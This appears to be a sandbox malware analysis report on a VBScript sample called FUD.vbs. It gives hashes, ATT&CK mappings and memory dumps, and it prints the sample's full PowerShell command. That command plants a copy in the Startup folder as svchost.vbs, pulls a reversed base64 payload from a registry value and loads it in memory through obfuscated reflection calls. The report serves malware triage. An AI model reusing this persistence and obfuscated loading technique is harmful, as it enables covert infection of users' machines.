fc6447a6f4407fe43119c51d7c070a23c2b21f3bd1ed80d45245a49aa8e2fa3b

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07/03/2025, 21:09

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General

Target

FUD.vbs
Size

97KB
MD5

457f2d4041d1873ebb7c33d0ccd41469
SHA1

b70963db9423a72ae7a0e7b25ab48510c27af6c0
SHA256

fc6447a6f4407fe43119c51d7c070a23c2b21f3bd1ed80d45245a49aa8e2fa3b
SHA512

6e623f91e07ce6ecb50581cd8d45c67a7d37f2a77ebe2d1b208722ea12de595dfcea75c1946d37b8f430978beb2227d074857f0b1749daba562ecac0baae65ec
SSDEEP

1536:p6GSeymei7zi/ABajxVOS2DAcsPteLg0xHEe+4ho7xnxPgGlyNowKBjh:p6GKmV7zqAB852DActMne+UIDzwNotB1

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2756	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2756	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 2756	2192	WScript.exe	28
PID 2192 wrote to memory of 2756	2192	WScript.exe	28
PID 2192 wrote to memory of 2756	2192	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.vbs'; $lionfish = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $lionfish = -join $lionfish[-1..-$lionfish.Length];[<##>AppDomain<##>]::<##>('IwuurrentDomain'.replace('Iwu','C'))<##>.<##>('afterlifesoad'.replace('afterlifes','L'))([Convert]::FromBase64String($lionfish))<##>.<##>('HormuzntryPoint'.replace('Hormuz','E'))<##>.<##>('Infreakishoke'.replace('freakish','v'))($Null,$Null)<##>;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2756-4-0x000007FEF665E000-0x000007FEF665F000-memory.dmp

Filesize
4KB

Download
memory/2756-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2756-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2756-7-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-8-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-9-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-10-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-11-0x000007FEF665E000-0x000007FEF665F000-memory.dmp

Filesize
4KB

Download
memory/2756-12-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download